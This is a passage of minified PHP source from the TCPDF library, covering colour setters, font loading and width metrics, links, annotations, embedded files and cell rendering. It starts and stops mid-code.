SCN',$tint);$this->DrawColor=$pdfcolor;$this->strokecolor=$spotcolor;break;}case 'fill':{$pdfcolor.=sprintf('cs %F scn',$tint);$this->FillColor=$pdfcolor;$this->bgcolor=$spotcolor;break;}case 'text':{$pdfcolor.=sprintf('cs %F scn',$tint);$this->TextColor=$pdfcolor;$this->fgcolor=$spotcolor;break;}}$this->ColorFlag=($this->FillColor!=$this->TextColor);if($this->state==2){$this->_out($pdfcolor);}if($this->inxobj){$this->xobjects[$this->xobjid]['spot_colors'][$name]=$this->spot_colors[$name];}return $pdfcolor;} function SetDrawSpotColor($name,$tint=100){$this->setSpotColor('draw',$name,$tint);} function SetFillSpotColor($name,$tint=100){$this->setSpotColor('fill',$name,$tint);} function SetTextSpotColor($name,$tint=100){$this->setSpotColor('text',$name,$tint);} function setColorArray($type,$color,$ret=false){if(is_array($color)){$color=array_values($color);$c=isset($color[0])?$color[0]:-1;$m=isset($color[1])?$color[1]:-1;$y=isset($color[2])?$color[2]:-1;$k=isset($color[3])?$color[3]:-1;$name=isset($color[4])?$color[4]:'';if($c>=0){return $this->setColor($type,$c,$m,$y,$k,$ret,$name);}}return '';} function SetDrawColorArray($color,$ret=false){return $this->setColorArray('draw',$color,$ret);} function SetFillColorArray($color,$ret=false){return $this->setColorArray('fill',$color,$ret);} function SetTextColorArray($color,$ret=false){return $this->setColorArray('text',$color,$ret);} function setColor($type,$col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){if(!is_numeric($col1)){$col1=0;}if(!is_numeric($col2)){$col2=-1;}if(!is_numeric($col3)){$col3=-1;}if(!is_numeric($col4)){$col4=-1;}$suffix='';if(($col2==-1) AND ($col3==-1) AND ($col4==-1)){$col1=max(0,min(255,$col1));$intcolor=array('G'=>$col1);$pdfcolor=sprintf('%F ',($col1/255));$suffix='g';}elseif($col4==-1){$col1=max(0,min(255,$col1));$col2=max(0,min(255,$col2));$col3=max(0,min(255,$col3));$intcolor=array('R'=>$col1,'G'=>$col2,'B'=>$col3);$pdfcolor=sprintf('%F %F %F ',($col1/255),($col2/255),($col3/255));$suffix='rg';}else {$col1=max(0,min(100,$col1));$col2=max(0,min(100,$col2));$col3=max(0,min(100,$col3));$col4=max(0,min(100,$col4));if(empty($name)){$intcolor=array('C'=>$col1,'M'=>$col2,'Y'=>$col3,'K'=>$col4);$pdfcolor=sprintf('%F %F %F %F ',($col1/100),($col2/100),($col3/100),($col4/100));$suffix='k';}else {$intcolor=array('C'=>$col1,'M'=>$col2,'Y'=>$col3,'K'=>$col4,'name'=>$name);$this->AddSpotColor($name,$col1,$col2,$col3,$col4);$pdfcolor=$this->setSpotColor($type,$name,100);}}switch($type){case 'draw':{$pdfcolor.=strtoupper($suffix);$this->DrawColor=$pdfcolor;$this->strokecolor=$intcolor;break;}case 'fill':{$pdfcolor.=$suffix;$this->FillColor=$pdfcolor;$this->bgcolor=$intcolor;break;}case 'text':{$pdfcolor.=$suffix;$this->TextColor=$pdfcolor;$this->fgcolor=$intcolor;break;}}$this->ColorFlag=($this->FillColor!=$this->TextColor);if(($type!='text') AND ($this->state==2)){if(!$ret){$this->_out($pdfcolor);}return $pdfcolor;}return '';} function SetDrawColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){return $this->setColor('draw',$col1,$col2,$col3,$col4,$ret,$name);} function SetFillColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){return $this->setColor('fill',$col1,$col2,$col3,$col4,$ret,$name);} function SetTextColor($col1=0,$col2=-1,$col3=-1,$col4=-1,$ret=false,$name=''){return $this->setColor('text',$col1,$col2,$col3,$col4,$ret,$name);} function GetStringWidth($s,$fontname='',$fontstyle='',$fontsize=0,$getarray=false){return $this->GetArrStringWidth(TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont),$s,$this->tmprtl,$this->isunicode,$this->CurrentFont),$fontname,$fontstyle,$fontsize,$getarray);} function GetArrStringWidth($sa,$fontname='',$fontstyle='',$fontsize=0,$getarray=false){if(!TCPDF_STATIC::empty_string($fontname)){$prev_FontFamily=$this->FontFamily;$prev_FontStyle=$this->FontStyle;$prev_FontSizePt=$this->FontSizePt;$this->SetFont($fontname,$fontstyle,$fontsize,'','default',false);}if($this->isunicode AND (!$this->isUnicodeFont())){$sa=TCPDF_FONTS::UTF8ArrToLatin1Arr($sa);}$w=0;$wa=array();foreach($sa as $ck=>$char){$cw=$this->GetCharWidth($char,isset($sa[($ck+1)]));$wa[]=$cw;$w+=$cw;}if(!TCPDF_STATIC::empty_string($fontname)){$this->SetFont($prev_FontFamily,$prev_FontStyle,$prev_FontSizePt,'','default',false);}if($getarray){return $wa;}return $w;} function GetCharWidth($char,$notlast=true){$chw=$this->getRawCharWidth($char);if(($this->font_spacing<0) OR (($this->font_spacing>0) AND $notlast)){$chw+=$this->font_spacing;}if($this->font_stretching!=100){$chw*=($this->font_stretching/100);}return $chw;} function getRawCharWidth($char){if($char==173){return (0);}if(isset($this->CurrentFont['cw'][$char])){$w=$this->CurrentFont['cw'][$char];}elseif(isset($this->CurrentFont['dw'])){$w=$this->CurrentFont['dw'];}elseif(isset($this->CurrentFont['cw'][32])){$w=$this->CurrentFont['cw'][32];}else {$w=600;}return $this->getAbsFontMeasure($w);} function GetNumChars($s){if($this->isUnicodeFont()){return count(TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont));}return strlen($s);} function AddFont($family,$style='',$fontfile='',$subset='default'){if($subset==='default'){$subset=$this->font_subsetting;}if($this->pdfa_mode){$subset=false;}if(TCPDF_STATIC::empty_string($family)){if(!TCPDF_STATIC::empty_string($this->FontFamily)){$family=$this->FontFamily;}else {$this->Error('Empty font family');}}if(substr($family,-1)=='I'){$style.='I';$family=substr($family,0,-1);}if(substr($family,-1)=='B'){$style.='B';$family=substr($family,0,-1);}$family=strtolower($family);if((!$this->isunicode) AND ($family=='arial')){$family='helvetica';}if(($family=='symbol') OR ($family=='zapfdingbats')){$style='';}if($this->pdfa_mode AND (isset($this->CoreFonts[$family]))){$family='pdfa'.$family;}$tempstyle=strtoupper($style);$style='';if(strpos($tempstyle,'U')!==false){$this->underline=true;}else {$this->underline=false;}if(strpos($tempstyle,'D')!==false){$this->linethrough=true;}else {$this->linethrough=false;}if(strpos($tempstyle,'O')!==false){$this->overline=true;}else {$this->overline=false;}if(strpos($tempstyle,'B')!==false){$style.='B';}if(strpos($tempstyle,'I')!==false){$style.='I';}$bistyle=$style;$fontkey=$family.$style;$font_style=$style.($this->underline?'U':'').($this->linethrough?'D':'').($this->overline?'O':'');$fontdata=array('fontkey'=>$fontkey,'family'=>$family,'style'=>$font_style);$fb=$this->getFontBuffer($fontkey);if($fb!==false){if($this->inxobj){$this->xobjects[$this->xobjid]['fonts'][$fontkey]=$fb['i'];}return $fontdata;}$fontdir=false;if(!TCPDF_STATIC::empty_string($fontfile)){$fontdir=dirname($fontfile);if(TCPDF_STATIC::empty_string($fontdir) OR ($fontdir=='.')){$fontdir='';}else {$fontdir.='/';}}$missing_style=false;if(TCPDF_STATIC::empty_string($fontfile) OR (!@file_exists($fontfile))){$tmp_fontfile=str_replace(' ','',$family).strtolower($style).'.php';$fontfile=TCPDF_FONTS::getFontFullPath($tmp_fontfile,$fontdir);if(TCPDF_STATIC::empty_string($fontfile)){$missing_style=true;$tmp_fontfile=str_replace(' ','',$family).'.php';$fontfile=TCPDF_FONTS::getFontFullPath($tmp_fontfile,$fontdir);}}$type='core';$name='Helvetica';$up=-100;$ut=50;$dw=513;$diff='';$enc='';$desc=array('Flags'=>32,'FontBBox'=>'[-166 -225 1000 931]','ItalicAngle'=>0,'Ascent'=>931,'Descent'=>-225,'Leading'=>0,'CapHeight'=>718,'XHeight'=>523,'StemV'=>88,'StemH'=>76,'AvgWidth'=>513,'MaxWidth'=>1015,'MissingWidth'=>513);$cw=array(0=>500,1=>500,2=>500,3=>500,4=>500,5=>500,6=>500,7=>500,8=>500,9=>500,10=>500,11=>500,12=>500,13=>500,14=>500,15=>500,16=>500,17=>500,18=>500,19=>500,20=>500,21=>500,22=>500,23=>500,24=>500,25=>500,26=>500,27=>500,28=>500,29=>500,30=>500,31=>500,32=>278,33=>278,34=>355,35=>556,36=>556,37=>889,38=>667,39=>191,40=>333,41=>333,42=>389,43=>584,44=>278,45=>333,46=>278,47=>278,48=>556,49=>556,50=>556,51=>556,52=>556,53=>556,54=>556,55=>556,56=>556,57=>556,58=>278,59=>278,60=>584,61=>584,62=>584,63=>556,64=>1015,65=>667,66=>667,67=>722,68=>722,69=>667,70=>611,71=>778,72=>722,73=>278,74=>500,75=>667,76=>556,77=>833,78=>722,79=>778,80=>667,81=>778,82=>722,83=>667,84=>611,85=>722,86=>667,87=>944,88=>667,89=>667,90=>611,91=>278,92=>278,93=>277,94=>469,95=>556,96=>333,97=>556,98=>556,99=>500,100=>556,101=>556,102=>278,103=>556,104=>556,105=>222,106=>222,107=>500,108=>222,109=>833,110=>556,111=>556,112=>556,113=>556,114=>333,115=>500,116=>278,117=>556,118=>500,119=>722,120=>500,121=>500,122=>500,123=>334,124=>260,125=>334,126=>584,127=>500,128=>655,129=>500,130=>222,131=>278,132=>333,133=>1000,134=>556,135=>556,136=>333,137=>1000,138=>667,139=>250,140=>1000,141=>500,142=>611,143=>500,144=>500,145=>222,146=>221,147=>333,148=>333,149=>350,150=>556,151=>1000,152=>333,153=>1000,154=>500,155=>250,156=>938,157=>500,158=>500,159=>667,160=>278,161=>278,162=>556,163=>556,164=>556,165=>556,166=>260,167=>556,168=>333,169=>737,170=>370,171=>448,172=>584,173=>333,174=>737,175=>333,176=>606,177=>584,178=>350,179=>350,180=>333,181=>556,182=>537,183=>278,184=>333,185=>350,186=>365,187=>448,188=>869,189=>869,190=>879,191=>556,192=>667,193=>667,194=>667,195=>667,196=>667,197=>667,198=>1000,199=>722,200=>667,201=>667,202=>667,203=>667,204=>278,205=>278,206=>278,207=>278,208=>722,209=>722,210=>778,211=>778,212=>778,213=>778,214=>778,215=>584,216=>778,217=>722,218=>722,219=>722,220=>722,221=>667,222=>666,223=>611,224=>556,225=>556,226=>556,227=>556,228=>556,229=>556,230=>896,231=>500,232=>556,233=>556,234=>556,235=>556,236=>251,237=>251,238=>251,239=>251,240=>556,241=>556,242=>556,243=>556,244=>556,245=>556,246=>556,247=>584,248=>611,249=>556,250=>556,251=>556,252=>556,253=>500,254=>555,255=>500);if((!isset($type)) OR (!isset($cw))){$this->Error('The font definition file has a bad format: '.$fontfile.'');}if(!isset($file) OR TCPDF_STATIC::empty_string($file)){$file='';}if(!isset($enc) OR TCPDF_STATIC::empty_string($enc)){$enc='';}if(!isset($cidinfo) OR TCPDF_STATIC::empty_string($cidinfo)){$cidinfo=array('Registry'=>'Adobe','Ordering'=>'Identity','Supplement'=>0);$cidinfo['uni2cid']=array();}if(!isset($ctg) OR TCPDF_STATIC::empty_string($ctg)){$ctg='';}if(!isset($desc) OR TCPDF_STATIC::empty_string($desc)){$desc=array();}if(!isset($up) OR TCPDF_STATIC::empty_string($up)){$up=-100;}if(!isset($ut) OR TCPDF_STATIC::empty_string($ut)){$ut=50;}if(!isset($cw) OR TCPDF_STATIC::empty_string($cw)){$cw=array();}if(!isset($dw) OR TCPDF_STATIC::empty_string($dw)){if(isset($desc['MissingWidth']) AND ($desc['MissingWidth']>0)){$dw=$desc['MissingWidth'];}elseif(isset($cw[32])){$dw=$cw[32];}else {$dw=600;}}++$this->numfonts;if($type=='core'){$name=$this->CoreFonts[$fontkey];$subset=false;}elseif(($type=='TrueType') OR ($type=='Type1')){$subset=false;}elseif($type=='TrueTypeUnicode'){$enc='Identity-H';}elseif($type=='cidfont0'){if($this->pdfa_mode){$this->Error('All fonts must be embedded in PDF/A mode!');}}else {$this->Error('Unknow font type: '.$type.'');}if(!isset($name) OR empty($name)){$name=$fontkey;}if(($type!='core') AND $missing_style){$styles=array(''=>'','B'=>',Bold','I'=>',Italic','BI'=>',BoldItalic');$name.=$styles[$bistyle];if(strpos($bistyle,'B')!==false){if(isset($desc['StemV'])){$desc['StemV']=round($desc['StemV']*1.75);}else {$desc['StemV']=123;}}if(strpos($bistyle,'I')!==false){if(isset($desc['ItalicAngle'])){$desc['ItalicAngle']-=11;}else {$desc['ItalicAngle']=-11;}if(isset($desc['Flags'])){$desc['Flags']|=64;}else {$desc['Flags']=64;}}}if(!isset($cbbox)){$cbbox=array();}$subsetchars=array_fill(0,255,true);$this->setFontBuffer($fontkey,array('fontkey'=>$fontkey,'i'=>$this->numfonts,'type'=>$type,'name'=>$name,'desc'=>$desc,'up'=>$up,'ut'=>$ut,'cw'=>$cw,'cbbox'=>$cbbox,'dw'=>$dw,'enc'=>$enc,'cidinfo'=>$cidinfo,'file'=>$file,'ctg'=>$ctg,'subset'=>$subset,'subsetchars'=>$subsetchars));if($this->inxobj){$this->xobjects[$this->xobjid]['fonts'][$fontkey]=$this->numfonts;}if(isset($diff) AND (!empty($diff))){$d=0;$nb=count($this->diffs);for($i=1;$i<=$nb;++$i){if($this->diffs[$i]==$diff){$d=$i;break;}}if($d==0){$d=$nb+1;$this->diffs[$d]=$diff;}$this->setFontSubBuffer($fontkey,'diff',$d);}if(!TCPDF_STATIC::empty_string($file)){if(!isset($this->FontFiles[$file])){if((strcasecmp($type,'TrueType')==0) OR (strcasecmp($type,'TrueTypeUnicode')==0)){$this->FontFiles[$file]=array('length1'=>$originalsize,'fontdir'=>$fontdir,'subset'=>$subset,'fontkeys'=>array($fontkey));}elseif($type!='core'){$this->FontFiles[$file]=array('length1'=>$size1,'length2'=>$size2,'fontdir'=>$fontdir,'subset'=>$subset,'fontkeys'=>array($fontkey));}}else {$this->FontFiles[$file]['subset']=($this->FontFiles[$file]['subset'] AND $subset);if(!in_array($fontkey,$this->FontFiles[$file]['fontkeys'])){$this->FontFiles[$file]['fontkeys'][]=$fontkey;}}}return $fontdata;} function SetFont($family,$style='',$size=null,$fontfile='',$subset='default',$out=true){if($size===null){$size=$this->FontSizePt;}if($size<0){$size=0;}$fontdata=$this->AddFont($family,$style,$fontfile,$subset);$this->FontFamily=$fontdata['family'];$this->FontStyle=$fontdata['style'];if(isset($this->CurrentFont['fontkey']) AND isset($this->CurrentFont['subsetchars'])){$this->setFontSubBuffer($this->CurrentFont['fontkey'],'subsetchars',$this->CurrentFont['subsetchars']);}$this->CurrentFont=$this->getFontBuffer($fontdata['fontkey']);$this->SetFontSize($size,$out);} function SetFontSize($size,$out=true){$this->FontSizePt=$size;$this->FontSize=$size/$this->k;if(isset($this->CurrentFont['desc']['FontBBox'])){$bbox=explode(' ',substr($this->CurrentFont['desc']['FontBBox'],1,-1));$font_height=((intval($bbox[3])-intval($bbox[1]))*$size/1000);}else {$font_height=$size*1.219;}if(isset($this->CurrentFont['desc']['Ascent']) AND ($this->CurrentFont['desc']['Ascent']>0)){$font_ascent=($this->CurrentFont['desc']['Ascent']*$size/1000);}if(isset($this->CurrentFont['desc']['Descent']) AND ($this->CurrentFont['desc']['Descent']<=0)){$font_descent=(-$this->CurrentFont['desc']['Descent']*$size/1000);}if(!isset($font_ascent) AND !isset($font_descent)){$font_ascent=0.76*$font_height;$font_descent=$font_height-$font_ascent;}elseif(!isset($font_descent)){$font_descent=$font_height-$font_ascent;}elseif(!isset($font_ascent)){$font_ascent=$font_height-$font_descent;}$this->FontAscent=($font_ascent/$this->k);$this->FontDescent=($font_descent/$this->k);if($out AND ($this->page>0) AND (isset($this->CurrentFont['i'])) AND ($this->state==2)){$this->_out(sprintf('BT /F%d %F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));}} function getFontBBox(){$fbbox=array();if(isset($this->CurrentFont['desc']['FontBBox'])){$tmpbbox=explode(' ',substr($this->CurrentFont['desc']['FontBBox'],1,-1));$fbbox=array_map(array($this,'getAbsFontMeasure'),$tmpbbox);}else {if(isset($this->CurrentFont['desc']['MaxWidth'])){$maxw=$this->getAbsFontMeasure(intval($this->CurrentFont['desc']['MaxWidth']));}else {$maxw=0;if(isset($this->CurrentFont['desc']['MissingWidth'])){$maxw=max($maxw,$this->CurrentFont['desc']['MissingWidth']);}if(isset($this->CurrentFont['desc']['AvgWidth'])){$maxw=max($maxw,$this->CurrentFont['desc']['AvgWidth']);}if(isset($this->CurrentFont['dw'])){$maxw=max($maxw,$this->CurrentFont['dw']);}foreach($this->CurrentFont['cw'] as $char=>$w){$maxw=max($maxw,$w);}if($maxw==0){$maxw=600;}$maxw=$this->getAbsFontMeasure($maxw);}$fbbox=array(0,(0-$this->FontDescent),$maxw,$this->FontAscent);}return $fbbox;} function getAbsFontMeasure($s){return ($s*$this->FontSize/1000);} function getCharBBox($char){$c=intval($char);if(isset($this->CurrentFont['cw'][$c])){$result=array(0,0,0,0);if(isset($this->CurrentFont['cbbox'][$c])){$result=$this->CurrentFont['cbbox'][$c];}return array_map(array($this,'getAbsFontMeasure'),$result);}return false;} function getFontDescent($font,$style='',$size=0){$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);if(isset($fontinfo['desc']['Descent']) AND ($fontinfo['desc']['Descent']<=0)){$descent=(-$fontinfo['desc']['Descent']*$size/1000);}else {$descent=(1.219*0.24*$size);}return ($descent/$this->k);} function getFontAscent($font,$style='',$size=0){$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);if(isset($fontinfo['desc']['Ascent']) AND ($fontinfo['desc']['Ascent']>0)){$ascent=($fontinfo['desc']['Ascent']*$size/1000);}else {$ascent=1.219*0.76*$size;}return ($ascent/$this->k);} function isCharDefined($char,$font='',$style=''){if(is_string($char)){$char=TCPDF_FONTS::UTF8StringToArray($char,$this->isunicode,$this->CurrentFont);$char=$char[0];}if(TCPDF_STATIC::empty_string($font)){if(TCPDF_STATIC::empty_string($style)){return (isset($this->CurrentFont['cw'][intval($char)]));}$font=$this->FontFamily;}$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);return (isset($fontinfo['cw'][intval($char)]));} function replaceMissingChars($text,$font='',$style='',$subs=array()){if(empty($subs)){return $text;}if(TCPDF_STATIC::empty_string($font)){$font=$this->FontFamily;}$fontdata=$this->AddFont($font,$style);$fontinfo=$this->getFontBuffer($fontdata['fontkey']);$uniarr=TCPDF_FONTS::UTF8StringToArray($text,$this->isunicode,$this->CurrentFont);foreach($uniarr as $k=>$chr){if(!isset($fontinfo['cw'][$chr])){if(isset($subs[$chr])){if(is_array($subs[$chr])){foreach($subs[$chr] as $s){if(isset($fontinfo['cw'][$s])){$uniarr[$k]=$s;break;}}}elseif(isset($fontinfo['cw'][$subs[$chr]])){$uniarr[$k]=$subs[$chr];}}}}return TCPDF_FONTS::UniArrSubString(TCPDF_FONTS::UTF8ArrayToUniArray($uniarr,$this->isunicode));} function SetDefaultMonospacedFont($font){$this->default_monospaced_font=$font;} function AddLink(){$n=count($this->links)+1;$this->links[$n]=array('p'=>0,'y'=>0,'f'=>false);return $n;} function SetLink($link,$y=0,$page=-1){$fixed=false;if(!empty($page) AND ($page[0]=='*')){$page=intval(substr($page,1));$fixed=true;}if($page<0){$page=$this->page;}if($y==-1){$y=$this->y;}$this->links[$link]=array('p'=>$page,'y'=>$y,'f'=>$fixed);} function Link($x,$y,$w,$h,$link,$spaces=0){$this->Annotation($x,$y,$w,$h,$link,array('Subtype'=>'Link'),$spaces);} function Annotation($x,$y,$w,$h,$text,$opt=array('Subtype'=>'Text'),$spaces=0){if($this->inxobj){$this->xobjects[$this->xobjid]['annotations'][]=array('x'=>$x,'y'=>$y,'w'=>$w,'h'=>$h,'text'=>$text,'opt'=>$opt,'spaces'=>$spaces);return;}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if(isset($this->transfmatrix) AND !empty($this->transfmatrix)){for($i=$this->transfmatrix_key;$i>0;--$i){$maxid=count($this->transfmatrix[$i])-1;for($j=$maxid;$j>=0;--$j){$ctm=$this->transfmatrix[$i][$j];if(isset($ctm['a'])){$x=$x*$this->k;$y=($this->h-$y)*$this->k;$w=$w*$this->k;$h=$h*$this->k;$xt=$x;$yt=$y;$x1=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y1=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$xt=$x+$w;$yt=$y;$x2=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y2=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$xt=$x;$yt=$y-$h;$x3=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y3=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$xt=$x+$w;$yt=$y-$h;$x4=($ctm['a']*$xt)+($ctm['c']*$yt)+$ctm['e'];$y4=($ctm['b']*$xt)+($ctm['d']*$yt)+$ctm['f'];$x=min($x1,$x2,$x3,$x4);$y=max($y1,$y2,$y3,$y4);$w=(max($x1,$x2,$x3,$x4)-$x)/$this->k;$h=($y-min($y1,$y2,$y3,$y4))/$this->k;$x=$x/$this->k;$y=$this->h-($y/$this->k);}}}}if($this->page<=0){$page=1;}else {$page=$this->page;}if(!isset($this->PageAnnots[$page])){$this->PageAnnots[$page]=array();}$this->PageAnnots[$page][]=array('n'=>++$this->n,'x'=>$x,'y'=>$y,'w'=>$w,'h'=>$h,'txt'=>$text,'opt'=>$opt,'numspaces'=>$spaces);if(!$this->pdfa_mode){if((($opt['Subtype']=='FileAttachment') OR ($opt['Subtype']=='Sound')) AND (!TCPDF_STATIC::empty_string($opt['FS'])) AND (@file_exists($opt['FS']) OR TCPDF_STATIC::isValidURL($opt['FS'])) AND (!isset($this->embeddedfiles[basename($opt['FS'])]))){$this->embeddedfiles[basename($opt['FS'])]=array('f'=>++$this->n,'n'=>++$this->n,'file'=>$opt['FS']);}}if(isset($opt['mk']['i']) AND @file_exists($opt['mk']['i'])){$this->Image($opt['mk']['i'],'','',10,10,'','','',false,300,'',false,false,0,false,true);}if(isset($opt['mk']['ri']) AND @file_exists($opt['mk']['ri'])){$this->Image($opt['mk']['ri'],'','',0,0,'','','',false,300,'',false,false,0,false,true);}if(isset($opt['mk']['ix']) AND @file_exists($opt['mk']['ix'])){$this->Image($opt['mk']['ix'],'','',0,0,'','','',false,300,'',false,false,0,false,true);}} function _putEmbeddedFiles(){if($this->pdfa_mode){return;}reset($this->embeddedfiles);foreach($this->embeddedfiles as $filename=>$filedata){$data=TCPDF_STATIC::fileGetContents($filedata['file']);if($data!==FALSE){$rawsize=strlen($data);if($rawsize>0){$this->efnames[$filename]=$filedata['f'].' 0 R';$out=$this->_getobj($filedata['f'])."
";$out.='<</Type /Filespec /F '.$this->_datastring($filename,$filedata['f']).' /EF <</F '.$filedata['n'].' 0 R>> >>';$out.="
".'endobj';$this->_out($out);$filter='';if($this->compress){$data=gzcompress($data);$filter=' /Filter /FlateDecode';}$stream=$this->_getrawstream($data,$filedata['n']);$out=$this->_getobj($filedata['n'])."
";$out.='<< /Type /EmbeddedFile'.$filter.' /Length '.strlen($stream).' /Params <</Size '.$rawsize.'>> >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}}}} function Text($x,$y,$txt,$fstroke=false,$fclip=false,$ffill=true,$border=0,$ln=0,$align='',$fill=false,$link='',$stretch=0,$ignore_min_height=false,$calign='T',$valign='M',$rtloff=false){$textrendermode=$this->textrendermode;$textstrokewidth=$this->textstrokewidth;$this->setTextRenderingMode($fstroke,$ffill,$fclip);$this->SetXY($x,$y,$rtloff);$this->Cell(0,0,$txt,$border,$ln,$align,$fill,$link,$stretch,$ignore_min_height,$calign,$valign);$this->textrendermode=$textrendermode;$this->textstrokewidth=$textstrokewidth;} function AcceptPageBreak(){if($this->num_columns>1){if($this->current_column<($this->num_columns-1)){$this->selectColumn($this->current_column+1);}elseif($this->AutoPageBreak){$this->AddPage();$this->selectColumn(0);}return false;}return $this->AutoPageBreak;} function checkPageBreak($h=0,$y='',$addpage=true){if(TCPDF_STATIC::empty_string($y)){$y=$this->y;}$current_page=$this->page;if((($y+$h)>$this->PageBreakTrigger) AND ($this->inPageBody()) AND ($this->AcceptPageBreak())){if($addpage){$x=$this->x;$this->AddPage($this->CurOrientation);$this->y=$this->tMargin;$oldpage=$this->page-1;if($this->rtl){if($this->pagedim[$this->page]['orm']!=$this->pagedim[$oldpage]['orm']){$this->x=$x-($this->pagedim[$this->page]['orm']-$this->pagedim[$oldpage]['orm']);}else {$this->x=$x;}}else {if($this->pagedim[$this->page]['olm']!=$this->pagedim[$oldpage]['olm']){$this->x=$x+($this->pagedim[$this->page]['olm']-$this->pagedim[$oldpage]['olm']);}else {$this->x=$x;}}}return true;}if($current_page!=$this->page){return true;}return false;} function Cell($w,$h=0,$txt='',$border=0,$ln=0,$align='',$fill=false,$link='',$stretch=0,$ignore_min_height=false,$calign='T',$valign='M'){$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$this->adjustCellPadding($border);if(!$ignore_min_height){$min_cell_height=$this->getCellHeight($this->FontSize);if($h<$min_cell_height){$h=$min_cell_height;}}$this->checkPageBreak($h+$this->cell_margin['T']+$this->cell_margin['B']);if($this->txtshadow['enabled']){$x=$this->x;$y=$this->y;$bc=$this->bgcolor;$fc=$this->fgcolor;$sc=$this->strokecolor;$alpha=$this->alpha;$this->x+=$this->txtshadow['depth_w'];$this->y+=$this->txtshadow['depth_h'];$this->SetFillColorArray($this->txtshadow['color']);$this->SetTextColorArray($this->txtshadow['color']);$this->SetDrawColorArray($this->txtshadow['color']);if($this->txtshadow['opacity']!=$alpha['CA']){$this->setAlpha($this->txtshadow['opacity'],$this->txtshadow['blend_mode']);}if($this->state==2){$this->_out($this->getCellCode($w,$h,$txt,$border,$ln,$align,$fill,$link,$stretch,true,$calign,$valign));}$this->x=$x;$this->y=$y;$this->SetFillColorArray($bc);$this->SetTextColorArray($fc);$this->SetDrawColorArray($sc);if($this->txtshadow['opacity']!=$alpha['CA']){$this->setAlpha($alpha['CA'],$alpha['BM'],$alpha['ca'],$alpha['AIS']);}}if($this->state==2){$this->_out($this->getCellCode($w,$h,$txt,$border,$ln,$align,$fill,$link,$stretch,true,$calign,$valign));}$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;} function getCellCode($w,$h=0,$txt='',$border=0,$ln=0,$align='',$fill=false,$link='',$stretch=0,$ignore_min_height=false,$calign='T',$valign='M'){$txt=str_replace(TCPDF_FONTS::unichr(160,$this->isunicode),' ',$txt);$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$txt=TCPDF_STATIC::removeSHY($txt,$this->isunicode);$rs='';$this->adjustCellPadding($border);if(!$ignore_min_height){$min_cell_height=$this->getCellHeight($this->FontSize);if($h<$min_cell_height){$h=$min_cell_height;}}$k=$this->k;list($this->x,$this->y)=$this->checkPageRegions($h,$this->x,$this->y);if($this->rtl){$x=$this->x-$this->cell_margin['R'];}else {$x=$this->x+$this->cell_margin['L'];}$y=$this->y+$this->cell_margin['T'];$prev_font_stretching=$this->font_stretching;$prev_font_spacing=$this->font_spacing;switch($calign){case 'A':{switch($valign){case 'T':{$y-=$this->cell_padding['T'];break;}case 'B':{$y-=($h-$this->cell_padding['B']-$this->FontAscent-$this->FontDescent);break;}default:case 'C':case 'M':{$y-=(($h-$this->FontAscent-$this->FontDescent)/2);break;}}break;}case 'L':{switch($valign){case 'T':{$y-=($this->cell_padding['T']+$this->FontAscent);break;}case 'B':{$y-=($h-$this->cell_padding['B']-$this->FontDescent);break;}default:case 'C':case 'M':{$y-=(($h+$this->FontAscent-$this->FontDescent)/2);break;}}break;}case 'D':{switch($valign){case 'T':{$y-=($this->cell_padding['T']+$this->FontAscent+$this->FontDescent);break;}case 'B':{$y-=($h-$this->cell_padding['B']);break;}default:case 'C':case 'M':{$y-=(($h+$this->FontAscent+$this->FontDescent)/2);break;}}break;}case 'B':{$y-=$h;break;}case 'C':case 'M':{$y-=($h/2);break;}default:case 'T':{break;}}switch($valign){case 'T':{$yt=$y+$this->cell_padding['T'];break;}case 'B':{$yt=$y+$h-$this->cell_padding['B']-$this->FontAscent-$this->FontDescent;break;}default:case 'C':case 'M':{$yt=$y+(($h-$this->FontAscent-$this->FontDescent)/2);break;}}$basefonty=$yt+$this->FontAscent;if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=$x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$x;}}$s='';if(is_string($border) AND (strlen($border)==4)){$border=1;}if($fill OR ($border==1)){if($fill){$op=($border==1)?'B':'f';}else {$op='S';}if($this->rtl){$xk=(($x-$w)*$k);}else {$xk=($x*$k);}$s.=sprintf('%F %F %F %F re %s ',$xk,(($this->h-$y)*$k),($w*$k),(-$h*$k),$op);}$s.=$this->getCellBorder($x,$y,$w,$h,$border);if($txt!=''){$txt2=$txt;if($this->isunicode){if(($this->CurrentFont['type']=='core') OR ($this->CurrentFont['type']=='TrueType') OR ($this->CurrentFont['type']=='Type1')){$txt2=TCPDF_FONTS::UTF8ToLatin1($txt2,$this->isunicode,$this->CurrentFont);}else {$unicode=TCPDF_FONTS::UTF8StringToArray($txt,$this->isunicode,$this->CurrentFont);$unicode=TCPDF_FONTS::utf8Bidi($unicode,'',$this->tmprtl,$this->isunicode,$this->CurrentFont);if(defined('K_THAI_TOPCHARS') AND 